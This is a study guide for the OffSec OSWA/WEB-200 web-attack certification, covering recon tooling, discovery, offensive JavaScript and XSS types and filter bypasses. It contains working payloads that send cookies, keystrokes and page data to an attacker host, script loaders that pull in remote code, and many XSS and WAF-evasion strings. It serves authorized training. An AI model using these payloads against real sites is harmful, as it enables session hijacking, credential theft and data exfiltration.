OSWA Exam - Guided By RedBlock

Updated 2026-10-06· 77 min read· 2 views
Share:

WEB-200: Web Attacks with Kali Linux - OffSec Web Assessor

OSWA Field Guide — Web Attacks (OffSec WEB-200)

The complete, payload-driven study guide for the OffSec WEB-200 / OSWA (OffSec Web Assessor) certification — hands-on web application security assessment: tooling & methodology, discovery (file/directory/parameter), Cross-Site Scripting (XSS), Cross-Site Request Forgery (CSRF), CORS misconfigurations, SQL Injection (SQLi) & database enumeration, Directory Traversal, XML External Entities (XXE), Server-Side Template Injection (SSTI), Server-Side Request Forgery (SSRF), Command Injection, and Insecure Direct Object References (IDOR) — each with discovery, exploitation, payloads, worked examples, and mitigation, finishing with a full web-assessment methodology.

Keywords: OSWA, OffSec Web Assessor, WEB-200, web application penetration testing, Kali Linux, XSS (reflected/stored/DOM/blind), CSRF, CORS, SQL injection, database enumeration, directory traversal, XXE, SSTI, SSRF, command injection, IDOR, Burp Suite, Nmap, Gobuster, Wfuzz, Hakrawler, offensive JavaScript, file/directory/parameter discovery, web exploitation methodology.

What OSWA validates: the ability to assess and exploit modern web applications hands-on — discover the attack surface, find and exploit the core web vulnerability classes (with a strong emphasis on XSS, SQLi, and offensive JavaScript), chain them where it matters, and document it. The exam is a hands-on, proctored, time-boxed assessment with a report deliverable — you exploit the targets and write them up professionally. ⚠️ Authorized testing only. Every payload and command here is for applications you own or are explicitly authorized to test (exam labs; deliberately-vulnerable apps like DVWA, bWAPP, OWASP Juice Shop, WebGoat, Mutillidae, and PortSwigger Web Security Academy). Never test third-party systems without written permission. Example IPs (e.g. 192.168.1.1) are placeholders — substitute your own attacker host.


Table of Contents

  1. OSWA Overview & Exam Strategy

  2. Web Fundamentals for the Assessor (HTTP, SOP, encoding)

  3. Tools for the Web Assessor (Burp, Nmap, Gobuster, Wfuzz, Hakrawler…)

  4. Web Application Methodology & Enumeration

  5. File, Directory & Parameter Discovery

  6. Offensive JavaScript for the Web Assessor

  7. Cross-Site Scripting (XSS) — Introduction & Anatomy

  8. XSS — Reflected, Stored & DOM

  9. XSS — Discovery & Filter/WAF Bypass

  10. XSS — Exploitation, Payloads & Case Studies

  11. Blind XSS & Out-of-Band Techniques

  12. Cross-Site Request Forgery (CSRF)

  13. CORS Misconfigurations

  14. Database Enumeration

  15. SQL Injection (SQLi) — Fundamentals & In-Band

  16. SQLi — Blind (Boolean & Time), Error-Based & OOB

  17. SQLi — Fuzzing, Automation & Advanced Exploitation

  18. Directory / Path Traversal

  19. XML External Entities (XXE)

  20. Server-Side Template Injection (SSTI)

  21. Server-Side Request Forgery (SSRF)

  22. Command Injection

  23. Insecure Direct Object References (IDOR)

  24. Chaining Vulnerabilities

  25. Assembling the Pieces — Full Web Assessment Methodology

  26. Reporting for the OSWA

  27. Payload & Command Arsenal (consolidated)

  28. Exam-Day Strategy & Study Plan

  29. Glossary & Quick Reference


1. OSWA Overview & Exam Strategy

What it is. The OSWA (OffSec Web Assessor) is earned by passing the WEB-200: Web Attacks with Kali Linux exam. It's an intermediate, hands-on web application security certification focused on finding and exploiting the core web vulnerability classes — with particular depth on XSS, SQL injection, and offensive JavaScript — using industry-standard tools (Burp Suite, Nmap, Gobuster, Wfuzz, Hakrawler). It sits below the OSWE (advanced, white-box, exploit-dev-heavy) and is the natural web-focused step after general pentest fundamentals.

Exam format. A proctored, time-boxed, hands-on exam against vulnerable web applications: you must exploit a set of targets (capturing proof) and then submit a professional penetration-test report documenting your methodology, findings, and steps to reproduce. Both the exploitation and the report are graded — a working exploit documented poorly can still fail. Expect to work primarily black/grey-box through the browser and Burp.

The WEB-200 topic coverage (your test surface):

Tooling & methodology          File/Directory/Parameter discovery      Offensive JavaScript
Cross-Site Scripting (XSS)     Cross-Site Request Forgery (CSRF)        CORS misconfigurations
Database enumeration           SQL Injection (SQLi)                      Directory Traversal
XML External Entities (XXE)    Server-Side Template Injection (SSTI)     Server-Side Request Forgery (SSRF)
Command Injection              Insecure Direct Object References (IDOR)  Full web assessment (capstone)

Strategy that scores:

  • Methodology over luck. Work systematically: recon → map the app → discover hidden content/params → test every input against every relevant vuln class → exploit → document (§4). The OSWA rewards thorough, repeatable assessment.

  • Master XSS, SQLi, and offensive JavaScript. These are the heart of WEB-200. Be fluent in all XSS types (reflected/stored/DOM/blind), the full SQLi spectrum (in-band/UNION/error/blind/OOB), and writing JavaScript payloads (session theft, CSRF-via-XSS, forced actions, §6).

  • Discovery is where findings hide. The vulnerable parameter or hidden endpoint you need is often not linked — brute-force files, directories, and parameters (§5). Many OSWA exam points come from content/parameter discovery.

  • Burp Suite is your workbench. Repeater, Intruder, Decoder, Comparer, Collaborator, and manual proxy setup — know them cold (§3).

  • Chain for impact. XSS → session theft/account takeover; SQLi → data exfil/auth bypass; SSRF → internal access; LFI/traversal → source disclosure. Don't stop at a single pop (§24).

  • Document as you exploit. Capture every request/response, payload, and step for the report (§26) — you can't re-exploit after time runs out.

  • Verify every finding. Confirm with a reliable proof (a reflected/executed marker, extracted data, an OOB callback) before reporting it.

The Web Assessor's mindset. Treat every input the app accepts — URL parameters, form fields, headers, cookies, JSON/XML bodies, file names, path segments — as a potential injection point, and systematically test each against the vuln classes. Understand how the app processes input (client-side JS, server-side rendering, database queries, file operations, external requests, command execution) because where the input flows determines which vulnerability applies and how to exploit it.


2. Web Fundamentals for the Assessor (HTTP, SOP, encoding)

Solid fundamentals make every attack easier. The OSWA assumes you understand HTTP, the browser security model, and encoding — the substrate every web attack rides on.

HTTP request/response (know every part — it's all attack surface):

POST /login HTTP/1.1                ← method, path, version
Host: target.com                    ← headers (Host attacks, routing)
Cookie: session=abc123              ← session token (XSS/CSRF/hijack target)
Content-Type: application/x-www-form-urlencoded   ← switching this bypasses parsers/filters
Referer: https://target.com/        ← CSRF/CORS checks (often bypassable)
Origin: https://target.com           ← CORS/CSRF
User-Agent: ...                      ← sometimes reflected/logged (XSS, log poisoning)

username=admin&password=secret        ← body parameters (injection points)
HTTP/1.1 200 OK                       ← status (differences reveal boolean conditions)
Set-Cookie: session=xyz; HttpOnly; SameSite=Lax   ← cookie flags matter for XSS/CSRF
Access-Control-Allow-Origin: ...      ← CORS policy (§13)
Content-Type: text/html; charset=utf-8  ← determines XSS context / parser
...reflected input here...            ← where reflected XSS/SQLi results appear

HTTP methods: GET (params in URL), POST (body), PUT/DELETE (resource ops — sometimes abusable), OPTIONS (enumerate allowed methods & CORS preflight), HEAD, PATCH, TRACE. Test which methods an endpoint accepts.

Status codes for the attacker: 200/302 success/redirect; 403 forbidden (bypass target); 500 server error (often an injection signal — leaks stack traces/SQL errors); differing codes/lengths/timing between inputs reveal boolean conditions (blind SQLi, auth enumeration).

Same-Origin Policy (SOP) — the browser security model you must understand (central to XSS/CORS/CSRF):

ORIGIN = scheme + host + port  (https://target.com:443)
SOP: a document from one origin CANNOT read the response of a request to a DIFFERENT origin
     (by default). This is why your malicious page can't just read a victim's data from target.com.
- XSS DEFEATS SOP: your script runs IN target.com's origin → it can read/do anything there (§7).
- CORS RELAXES SOP: a server can opt-in to allow cross-origin reads — misconfigured = data theft (§13).
- CSRF ABUSES the fact that requests (not reads) are sent cross-origin WITH cookies (§12).

Understanding SOP is the key that unlocks why XSS, CORS, and CSRF work the way they do.

Encoding (essential for payloads, filter bypass, and reading data):

URL encoding:        space=%20/+  <=%3C  '=%27  "=%22  /=%2F   (for URL-safe payloads & bypass)
Double URL encoding: <=%253C                                    (filter decodes once, app twice)
HTML entities:       <=&lt; &#60; &#x3c;   >=&gt;                (HTML contexts, XSS bypass)
Base64:              encode/decode payloads & data (atob/btoa in JS; `base64` CLI) — §6
Unicode/hex (JS):    \u003c  \x3c                               (JS-context XSS bypass)

Burp Decoder and Hackvertor handle layered encoding; echo -n '...' | base64 / base64 -d on the CLI. Encoding is both how you craft payloads for a context and how you evade filters/WAFs.

Where input flows → which vulnerability (the mental map):

reflected into HTML/JS      → XSS (§7-11)
used in a SQL query          → SQL injection (§14-17)
used in an OS command        → command injection (§22)
used as a file path/name     → directory traversal / LFI (§18)
parsed as XML                → XXE (§19)
rendered by a template engine→ SSTI (§20)
a URL the server fetches     → SSRF (§21)
an object/record identifier  → IDOR (§23)
a state-changing action      → CSRF (§12)
a cross-origin data request  → CORS (§13)

Carry this map — it tells you what to test for each input and how to exploit it.


3. Tools for the Web Assessor

The OSWA's "Tools for the Web Assessor" module — the industry-standard toolkit on Kali. Know each tool's role and be fluent in Burp especially.

Burp Suite — your primary workbench:

  • Proxy — intercept, view, and modify all HTTP(S) traffic between browser and server. Browse the whole app through it to build the site map.

  • Repeater — manually craft and resend requests; tweak payloads, observe responses. Where most manual testing happens.

  • Intruder — automate payload injection across positions: fuzzing, brute force, enumeration (attack types: Sniper/Battering-ram/Pitchfork/Cluster-bomb).

  • Decoder — encode/decode (URL, Base64, HTML, hex) and build layered encodings.

  • Comparer — diff two responses byte-by-byte (great for boolean-blind detection).

  • Collaborator — out-of-band (OAST) server for blind SSRF/XXE/SQLi/XSS detection via DNS/HTTP callbacks.

  • Sequencer — analyze session-token randomness.

  • Extensions (BApp): Hackvertor (encoding), Param Miner (hidden params/headers), Turbo Intruder (speed/races), Logger++, JSON/CORS helpers.

Manual proxy setup (know it — convenience extensions may be off in exam):

1. Burp > Proxy > listener 127.0.0.1:8080.
2. Set the BROWSER proxy to 127.0.0.1:8080 manually (OS/browser proxy, not just an extension).
3. Install Burp's CA cert (browse http://burp → CA Certificate → import to the browser/OS trust store)
   so HTTPS intercepts cleanly.
4. Verify: browse the target → traffic appears in Burp HTTP history.

Discovery & recon tools:

# Nmap — host/service discovery & web-relevant scripts
sudo nmap -sV -p- --min-rate 2000 <target>
sudo nmap -p80,443 --script http-enum,http-headers,http-methods,http-title <target>

# Gobuster — directory/file & DNS brute force
gobuster dir -u http://<target> -w /usr/share/wordlists/dirb/common.txt -x php,html,txt,bak -b 403,404
gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50

# Wfuzz — flexible fuzzer (files, dirs, PARAMETERS, values, headers)
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/common.txt --hc 404 http://<target>/FUZZ
wfuzz -c -z file,params.txt --hh <baseline-chars> "http://<target>/page.php?FUZZ=test"   # parameter discovery
wfuzz -c -z range,1-1000 --hc 404 "http://<target>/item?id=FUZZ"                          # IDOR/value fuzzing

# ffuf / feroxbuster — fast fuzzing alternatives
ffuf -w wordlist.txt -u http://<target>/FUZZ -mc 200,301,302,403 -e .php,.txt,.bak
feroxbuster -u http://<target> -x php,bak,zip

# Hakrawler — crawl a target to discover URLs, endpoints, params, JS files
echo http://<target> | hakrawler -d 3
# whatweb / nikto — fingerprinting & server misconfig
whatweb http://<target> ; nikto -h http://<target>
# sqlmap — automated SQL injection (§17)

Supporting utilities:

curl / wget      scriptable requests & PoCs           jq        parse JSON API responses
python3 http.server / a CORS-enabled server (§13)     base64    encode/decode payloads
Burp Collaborator / interactsh   out-of-band detection for blind vulns

Practice targets (authorized): PortSwigger Web Security Academy (free, maps directly to every OSWA topic — the gold standard), DVWA, bWAPP, OWASP Juice Shop, WebGoat, Mutillidae. Build deep reps here before the exam.

The principle: Burp is your microscope and scalpel; Nmap/Gobuster/Wfuzz/ffuf/Hakrawler map the attack surface and uncover hidden content/parameters; Collaborator catches the blind cases; and curl/python host your payloads and PoCs. Know each tool's role, and be able to configure Burp manually and drive Repeater/Intruder/Decoder fluently.


4. Web Application Methodology & Enumeration

A repeatable methodology is what separates a professional assessor from someone throwing payloads. The OSWA's capstone is the methodology; apply it to every target.

The web assessment lifecycle:

1. RECON / FINGERPRINT
   - identify the server, framework, language, CMS, and technologies (whatweb/nikto/headers/cookies).
   - note WAF presence and behavior.
2. MAP THE APPLICATION
   - browse EVERY feature through Burp (log in, use all functionality) → build the full site map.
   - capture every page, endpoint, parameter, form, header, cookie, and API call.
3. DISCOVERY (find the hidden surface — §5)
   - brute-force files/directories (Gobuster/ffuf), parameters (Wfuzz/Param Miner), and endpoints
     (Hakrawler, JS review). Read robots.txt, sitemap, comments, and JS for leaked paths/params/keys.
4. ANALYZE INPUTS (build the testing matrix)
   - for EACH input (param, header, cookie, body field, path segment, file name):
     determine where it flows (HTML/JS/SQL/command/file/XML/template/URL/object-ref) and test the
     relevant vuln class(es) (the map in §2).
5. EXPLOIT
   - confirm and weaponize each finding; extract data, execute scripts/commands, bypass controls.
6. CHAIN & ESCALATE (§24)
   - combine findings for higher impact (XSS→ATO, SQLi→data breach, SSRF→internal, LFI→source→RCE).
7. DOCUMENT (§26)
   - capture requests/responses, payloads, impact, and reproduction for the report.

The input × vulnerability testing matrix (be exhaustive):

             XSS  SQLi  CmdInj  SSRF  Traversal  XXE  SSTI  IDOR  CSRF  CORS
URL param     ✓    ✓     ✓      ✓       ✓        -    ✓     ✓     -     -
form field    ✓    ✓     ✓      ✓       ✓        -    ✓     ✓     ✓     -
JSON body     ✓    ✓     ✓      ✓       -        ✓    ✓     ✓     ✓     -
XML body      ✓    ✓     -      ✓       -        ✓    -     -     -     -
cookie        ✓    ✓     -      -       -        -    -     ✓     ✓     -
header (Host,UA,Referer) ✓ ✓   ✓      ✓       -        -    -     -     -     ✓
file name/upload ✓   -    ✓      -       ✓        ✓    -     -     -     -
path segment  -    -     -      -       ✓        -    -     ✓     -     -
object id/ref -    ✓     -      -       -        -    -     ✓     -     -

Fingerprint → attack mapping (recon informs testing):

PHP (.php, PHPSESSID)   → LFI/RFI, php wrappers, type juggling, some SSTI (Twig/Smarty)
Java (.jsp, JSESSIONID) → SSTI (Freemarker/Velocity/Thymeleaf), XXE, deserialization
Python (Django/Flask)   → SSTI (Jinja2), debug consoles
Node.js (connect.sid)   → NoSQLi, SSTI (Handlebars/Pug), prototype pollution
ASP.NET (.aspx)         → ViewState, request validation quirks
Templating detected     → SSTI (§20)   |   XML endpoints → XXE (§19)   |   URL-fetch features → SSRF (§21)

The principle: be methodical and exhaustive — fingerprint, map every feature, discover the hidden surface (where findings hide), analyze every input against the right vuln classes (the matrix), exploit, chain, and document. Thorough enumeration is the single biggest differentiator on the OSWA: the finding you need is often behind an unlinked endpoint or an undocumented parameter.


5. File, Directory & Parameter Discovery

"File, directory, and parameter discovery" is an explicit OSWA skill — and a major source of exam points. The vulnerable endpoint or parameter is frequently not linked anywhere; you have to find it by brute force and inspection.

Directory & file discovery:

# Gobuster
gobuster dir -u http://<target> -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt \
  -x php,html,txt,bak,old,zip,tar.gz,sql,config,json -b 403,404 -t 50
gobuster dir -u http://<target> -w common.txt -r   # follow redirects

# ffuf (fast; good for recursion & extensions)
ffuf -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -u http://<target>/FUZZ -mc 200,301,302,403 -recursion -e .php,.bak,.txt,.zip
# feroxbuster (recursive by default)
feroxbuster -u http://<target> -x php,bak,zip,txt -d 3
# dirsearch / dirb — classic alternatives

High-value things to find:

/admin /administrator /manage /dashboard /panel        → admin interfaces
/api /api/v1 /graphql /swagger /openapi.json /api-docs  → API endpoints & docs
/.git/ /.svn/ /.env /config.php.bak /wp-config.bak      → source/secrets exposure
/backup/ *.bak *.old *.zip *.tar.gz *.sql               → backups & DB dumps
/robots.txt /sitemap.xml /.well-known/                  → DISCLOSED paths (always read these)
/test/ /dev/ /staging/ /old/ /tmp/                      → debug/dev versions
/phpinfo.php /server-status /actuator /debug            → info disclosure

Parameter discovery (often the key to the whole finding): many vulnerabilities live in parameters that aren't referenced in the HTML. Brute-force GET/POST/JSON parameters and headers:

# Wfuzz — GET parameter discovery (filter the baseline response size/chars)
wfuzz -c -z file,/usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
  --hh <baseline-chars> "http://<target>/page.php?FUZZ=test"
# ffuf — parameter discovery
ffuf -w params.txt -u "http://<target>/page.php?FUZZ=1" -fs <baseline-size>
# Arjun — dedicated parameter discovery tool
arjun -u http://<target>/page.php
arjun -u http://<target>/api/endpoint -m POST
# Burp Param Miner — guess hidden params & unkeyed headers (extension)

A hidden debug=1, admin=true, file=, url=, cmd=, id=, or redirect= parameter is frequently the way in. Fuzz parameter names to find them, then fuzz their values to exploit.

Crawling & JavaScript analysis (endpoints & params hide in JS):

# Hakrawler — crawl for URLs, endpoints, params, JS files
echo http://<target> | hakrawler -d 3
# katana / gau / waybackurls — endpoint discovery (incl. archived)
# Extract endpoints/params/secrets from JavaScript files:
curl -s http://<target>/app.js | grep -oE '"/[a-zA-Z0-9_/.-]+"'       # paths in JS
curl -s http://<target>/app.js | grep -iE 'api|token|key|secret|url'  # secrets/endpoints
# LinkFinder / SecretFinder — automate endpoint/secret extraction from JS

Always read the HTML source, comments, and linked JS — they leak hidden endpoints, parameters, API routes, and sometimes credentials/keys.

Virtual hosts & content negotiation: fuzz the Host header for hidden vhosts; try different Accept/extensions for alternate representations.

ffuf -w subdomains.txt -u http://<target> -H "Host: FUZZ.target.com" -fs <baseline>

The principle: discovery is where OSWA findings hide. Brute-force directories & files (Gobuster/ffuf/feroxbuster), discover hidden parameters (Wfuzz/Arjun/Param Miner) and endpoints (Hakrawler + JS review), and always read robots.txt, comments, and JavaScript. The vulnerable input you need is often unlinked — thorough discovery surfaces it, and then the testing matrix (§4) tells you what to throw at it.


6. Offensive JavaScript for the Web Assessor

"Apply offensive JavaScript techniques" is a named OSWA outcome — and the engine behind weaponized XSS, CSRF, and CORS exploitation. You must be able to write JavaScript that steals data, forces actions, and exfiltrates to your server.

Why offensive JS matters. When your script runs in the target's origin (via XSS, §7), it can do anything the user can — read the DOM and cookies, make same-origin requests (with the user's session), read responses (bypassing SOP, because you're in the origin), and exfiltrate the results to your server. Offensive JS is how a "popped alert" becomes session theft, account takeover, or data exfiltration.

Core offensive JS building blocks:

1. Exfiltrate data to your server (the universal primitive):

// image beacon (simple, works in most contexts, no CORS needed)
new Image().src = "http://192.168.1.1/log?d=" + encodeURIComponent(document.cookie);
// fetch (POST, larger data)
fetch("http://192.168.1.1/log", {method:"POST", mode:"no-cors", body: document.cookie});
// navigator.sendBeacon (survives page unload)
navigator.sendBeacon("http://192.168.1.1/log", document.cookie);

Catch it with a listener: python3 -m http.server 80 (or a CORS-enabled server, below), or nc -lvnp 80.

2. Steal session cookies → account takeover (if not HttpOnly):

new Image().src = "http://192.168.1.1/c?=" + document.cookie;
// then set the stolen cookie in your browser/Burp → you are the victim

3. Read same-origin data and exfiltrate it (SOP bypass via XSS):

// read a sensitive same-origin page/API with the victim's session, then exfiltrate it
fetch("/account/settings", {credentials:"include"})
  .then(r => r.text())
  .then(d => fetch("http://192.168.1.1/x?d=" + btoa(d), {mode:"no-cors"}));
// e.g. steal an API key, CSRF token, profile data, admin page content

4. Force a privileged action (CSRF-via-XSS — bypasses CSRF tokens because you're same-origin):

// read the anti-CSRF token from the page, then submit a state-changing request as the victim
fetch("/account/change-email", {
  method:"POST", credentials:"include",
  headers:{"Content-Type":"application/x-www-form-urlencoded"},
  body:"[email protected]"
});
// or first GET a form to extract its CSRF token, then POST with it included

5. Keylogging / credential harvesting:

document.onkeypress = e => new Image().src = "http://192.168.1.1/k?=" + e.key;
// or inject a fake login form and capture submitted credentials

6. Load a larger secondary payload (keep the injected payload tiny):

var a = document.createElement("script");
a.src = "http://192.168.1.1/payload.js";   // your full payload hosted on your server
document.body.appendChild(a);

This is the pattern behind the classic short XSS payloads (<script src=http://192.168.1.1></script>) — inject a tiny loader; do the heavy lifting in the hosted script.

7. Redirect / page replacement (phishing / forced navigation):

window.location.replace("http://192.168.1.1/payload.html");   // replace the page with your own
// or swap the DOM to a fake login form in the trusted origin

8. Encoding helpers (for payload obfuscation / filter bypass — §9):

eval(atob("<base64-of-your-JS>"));   // base64-decode and run (defeats many keyword filters)
// build strings from char codes / hex / unicode to evade signatures

A CORS-enabled staging server (host secondary payloads / receive cross-origin data):

#!/usr/bin/env python3
# Use instead of `python3 -m http.server` when you need CORS (host payloads + catch exfil)
from http.server import HTTPServer, SimpleHTTPRequestHandler
class CORSRequestHandler(SimpleHTTPRequestHandler):
    def end_headers(self):
        self.send_header('Access-Control-Allow-Origin', '*')
        self.send_header('Access-Control-Allow-Methods', 'GET, POST, OPTIONS')
        self.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')
        return super().end_headers()
    def do_OPTIONS(self):
        self.send_response(200); self.end_headers()
HTTPServer(('0.0.0.0', 8888), CORSRequestHandler).serve_forever()

Run it (python3 cors_server.py) to serve payload.js/payload.html with permissive CORS and to receive cross-origin fetch exfiltration. Log incoming requests to capture stolen data.

The principle: offensive JavaScript turns XSS from a demo into real impact — exfiltrate (image/fetch/beacon to your server), read same-origin data (bypassing SOP from inside the origin), force privileged actions (CSRF-via-XSS, reading tokens first), harvest credentials, and stage larger payloads from your own server. Keep the injected payload tiny (a loader) and host the real logic on your CORS-enabled server. These primitives recur throughout XSS (§7-11), CSRF (§12), and CORS (§13) exploitation — master them.


7. Cross-Site Scripting (XSS) — Introduction & Anatomy

XSS is the flagship OSWA topic: executing attacker-controlled JavaScript in a victim's browser in the context of the vulnerable site, defeating the Same-Origin Policy to steal sessions, take over accounts, and exfiltrate data. This section frames XSS; §8-11 drill types, discovery, exploitation, and blind XSS.

What XSS is and why it's powerful. XSS occurs when an application includes user-controlled input in a page without proper output encoding/sanitization, so the browser executes it as script. Because that script runs in the site's origin, it bypasses SOP and can do anything the user can — read cookies/DOM, make authenticated same-origin requests and read the responses, perform actions, and exfiltrate everything (§6). XSS is "code execution in the victim's browser, as the victim, in the trusted site's context."

The XSS anatomy — input → sink → execution:

SOURCE (where attacker input enters):  URL param, form field, header, cookie, path, stored content,
   DOM source (location.hash/search, document.referrer, postMessage), JSON/API response.
SINK (where it's output/executed):  HTML body, HTML attribute, <script> block, event handler, URL
   (href/src), or a dangerous JS sink (innerHTML, document.write, eval, setTimeout, jQuery $()).
CONTEXT (where in the page it lands) DICTATES THE PAYLOAD:
   - HTML body:        <script>...</script>, <img onerror=...>, <svg onload=...>
   - HTML attribute:   break out of the attribute first:  "> or " onX=...
   - JavaScript string: break out of the string:  ';...//  or  '-...-'
   - URL/href:         javascript:...
   - inside <script>:  </script><script>...  or break the JS syntax

The #1 XSS skill: identify the exact context your input lands in, then craft the payload that escapes/fits that context.

The three (really four) types of XSS:

  • Reflected XSS — payload is in the request and reflected immediately in the response; delivered via a crafted link; affects whoever clicks (§8).

  • Stored (Persistent) XSS — payload is saved by the app (comment, profile, message, log) and served to everyone who views it; highest impact — hits all viewers including admins (§8).

  • DOM-Based XSS — entirely client-side: JavaScript reads an attacker-controllable source and writes it to a dangerous sink without sanitization; the payload may never reach the server (§8).

  • Blind XSS — a stored XSS whose execution you don't see (fires later in a back-end/admin context); detected out-of-band via a callback (§11).

Impact (frame it for the report): session hijacking → account takeover, credential theft, CSRF-via-XSS (privileged actions bypassing tokens), data exfiltration, defacement, phishing within the trusted origin, and worm propagation (stored). Severity depends on whose session and what the script can reach — stored XSS on an admin-viewed page is often Critical.

Finding XSS (overview — detail in §9): inject a unique marker into every input and search the response for it — is it reflected, and in what context? Does it execute? For DOM XSS, trace sources→sinks in the JavaScript (Burp DOM Invader helps). For stored XSS, inject then browse everywhere the value might render (including other users'/admin views).

The principle: XSS is script execution in the victim's browser, in the trusted site's origin, caused by unsanitized user input reaching an output sink. The craft is: find the input, identify the context it lands in, build the payload that executes in that context, then weaponize with offensive JS (§6) to steal sessions/data or force actions. It's the OSWA's centerpiece — be fluent in all four types, context-based payloads, filter bypass (§9), and exploitation (§10-11).


8. XSS — Reflected, Stored & DOM

The three delivery types of XSS, each with how it works, how to find it, and a worked example. The payload depends on context (§7); the type depends on where the input lives and executes.

Reflected XSS. The payload is sent in the request (usually a URL parameter) and reflected straight back in the response — not stored. The attacker crafts a malicious URL and gets the victim to click it (phishing, a link, an auto-loading iframe).

# the app reflects the 'q' parameter into the page unencoded:
http://target.com/search?q=<script>alert(document.domain)</script>
# attribute-context example (break out first):
http://target.com/search?q="><svg onload=alert(1)>

Find it: inject a marker in each reflected parameter, view the response, identify the context, craft the payload. Deliver it: a crafted link sent to the victim (or an iframe on your page auto-loading the URL). Impact: affects anyone who clicks the link — session theft/ATO if you can weaponize (§6/§10).

Stored (Persistent) XSS. The payload is saved by the application and served to everyone who views that content — comments, profile fields, usernames, message bodies, product reviews, support tickets, log viewers, filenames. Highest impact: it hits all viewers automatically, including administrators (→ admin ATO).

<!-- stored in a comment/profile field, executes when anyone views it -->
<script>new Image().src="http://192.168.1.1/c?="+document.cookie</script>
<img src=x onerror="/* steal admin session when admin views the ticket */">

Find it: inject a marker into every field that gets stored → then browse everywhere that value might render (your profile, listings, admin panels, logs). The input and output points differ — this is second-order: you inject in one place, it executes in another (often a different user's/admin's view). Impact: the most severe — persistent, hits every viewer; stored XSS on an admin-facing page = admin account takeover (§10 case study).

DOM-Based XSS. The vulnerability is entirely in client-side JavaScript: the page's JS reads an attacker-controllable source and passes it to a dangerous sink without sanitization. The server may never see the payload (e.g., it's in the URL fragment #..., which isn't sent to the server).

SOURCES:  location.hash / location.search / location.href / document.referrer / document.URL /
          window.name / postMessage data / localStorage
SINKS:    innerHTML / outerHTML / document.write / eval / setTimeout / setInterval /
          element.src / location / jQuery $() / .html()
// vulnerable JS:  document.getElementById('out').innerHTML = location.hash.substring(1);
// exploit URL (fragment — not sent to server):
http://target.com/page#<img src=x onerror=alert(document.cookie)>
// jQuery sink:  $(location.hash)  →  #<img src=x onerror=alert(1)>
// document.write source:  document.write(location.search) → ?x=<script>alert(1)</script>

Find it: review the JavaScript for source→sink flows (search for the sinks above, trace back to a source); use Burp DOM Invader to auto-trace and canary. Impact: same as reflected/stored depending on delivery; purely client-side flaws that server-side filters miss entirely.

Reflected vs Stored vs DOM — quick distinction:

REFLECTED: input in request → reflected in THIS response (server-side). Delivered via a link.
STORED:    input saved → served to many viewers later (server-side). Second-order; highest impact.
DOM:       input → dangerous JS sink, all client-side. Server may never see it; filters miss it.

The principle: identify where the input lives and executes — reflected (immediate, link-delivered), stored (persistent, hits all viewers, second-order), or DOM (client-side source→sink) — because it dictates how you find and deliver the attack; then apply context-appropriate payloads (§7/§9) and weaponize (§6/§10). On the OSWA, test every input for reflection, every stored field for persistence (browsing all render locations), and review JS for DOM sinks.


9. XSS — Discovery & Filter/WAF Bypass

Finding XSS reliably and getting payloads past filters/WAFs is the practical core of OSWA XSS work. Real apps encode, filter, or block naive payloads — you adapt to the context and the defense.

Systematic discovery:

1. INJECT A UNIQUE MARKER into every input (params, form fields, headers, cookies, path, stored fields):
   e.g.  oswa1337  → search the response for it. Is it reflected? Stored? In what CONTEXT?
2. PROBE THE CONTEXT with safe characters to see what's filtered/encoded:
   < > " ' ` / ( ) { } ;  and your marker → observe which survive raw vs. get encoded/stripped.
   e.g. inject:  oswa1337<>"'   → see what comes back intact.
3. CRAFT PER CONTEXT (from §7): HTML body / attribute / JS string / URL / inside <script>.
4. CONFIRM EXECUTION with a benign proof (alert(document.domain), or a unique console/DNS marker).
5. For STORED: inject, then browse all render locations. For DOM: trace source→sink in JS.

Context-specific payloads (recap + more):

<!-- HTML body -->
<script>alert(document.domain)</script>
<img src=x onerror=alert(1)>   <svg onload=alert(1)>   <body onload=alert(1)>
<!-- break out of an attribute value -->
"><script>alert(1)</script>    "><svg onload=alert(1)>    " autofocus onfocus=alert(1) x="
'><img src=x onerror=alert(1)>
<!-- inside a JS string (break the string) -->
';alert(1)//    '-alert(1)-'    \';alert(1)//
<!-- inside an existing <script> block -->
</script><script>alert(1)</script>
<!-- URL / href context -->
javascript:alert(1)
<!-- no <script> allowed → event handlers -->
<input autofocus onfocus=alert(1)>   <details open ontoggle=alert(1)>
<marquee onstart=alert(1)>   <video><source onerror=alert(1)>   <select autofocus onfocus=alert(1)>

Filter / WAF bypass techniques (when naive payloads are blocked/encoded):

<!-- case variation (defeat case-sensitive blacklists) -->
<ScRiPt>alert(1)</ScRiPt>   <iMg SrC=x OnErRoR=alert(1)>
<!-- tag/keyword obfuscation (defeat naive strip-once) -->
<scr<script>ipt>alert(1)</scr</script>ipt>      <img/src=x/onerror=alert(1)>   <svg/onload=alert(1)>
<!-- HTML-entity / numeric encoding in attributes -->
<img src=x onerror=&#97;lert(1)>                <a href="javascript:&#x61;lert(1)">x</a>
<!-- no parentheses (filtered) -->
<svg onload=alert`1`>       <svg onload="window.onerror=alert;throw 1">
<!-- no quotes / no spaces -->
<svg/onload=alert`1`>       <img src=x onerror=alert`1`>
<!-- base64 eval (defeat keyword filters on 'alert', 'document', etc.) -->
<svg onload=eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))>
<!-- allow-list evasion: if only some tags/attrs allowed -->
<svg><animate onbegin=alert(1) attributeName=x dur=1s>
<svg><a><animate attributeName=href values=javascript:alert(1)/><text x=20 y=20>click</text></a></svg>
<!-- JS context escapes with unicode/hex -->
\u0061lert(1)   \x61lert(1)

WAF/filter bypass strategy (the method):

1. CONFIRM the WAF/filter and what it blocks: inject increasingly specific payloads and binary-search
   which keyword/char/tag triggers the block (e.g. is it 'script'? '<'? 'onerror'? 'alert'?).
2. TRANSFORM the blocked part while keeping it valid FOR THE CONTEXT: case, encoding, alt tags/events,
   no-paren/no-quote variants, base64 eval, allow-list-friendly tags (svg/animate).
3. ITERATE until it passes AND executes. Target the browser's PARSER, not the filter's regex — find a
   representation the browser runs but the filter doesn't match.
4. Check for a Content-Security-Policy (CSP) — it may block inline/external scripts; adapt (e.g.
   use allowed sources, dangling markup, or report-only gaps) or report it as a mitigating control.

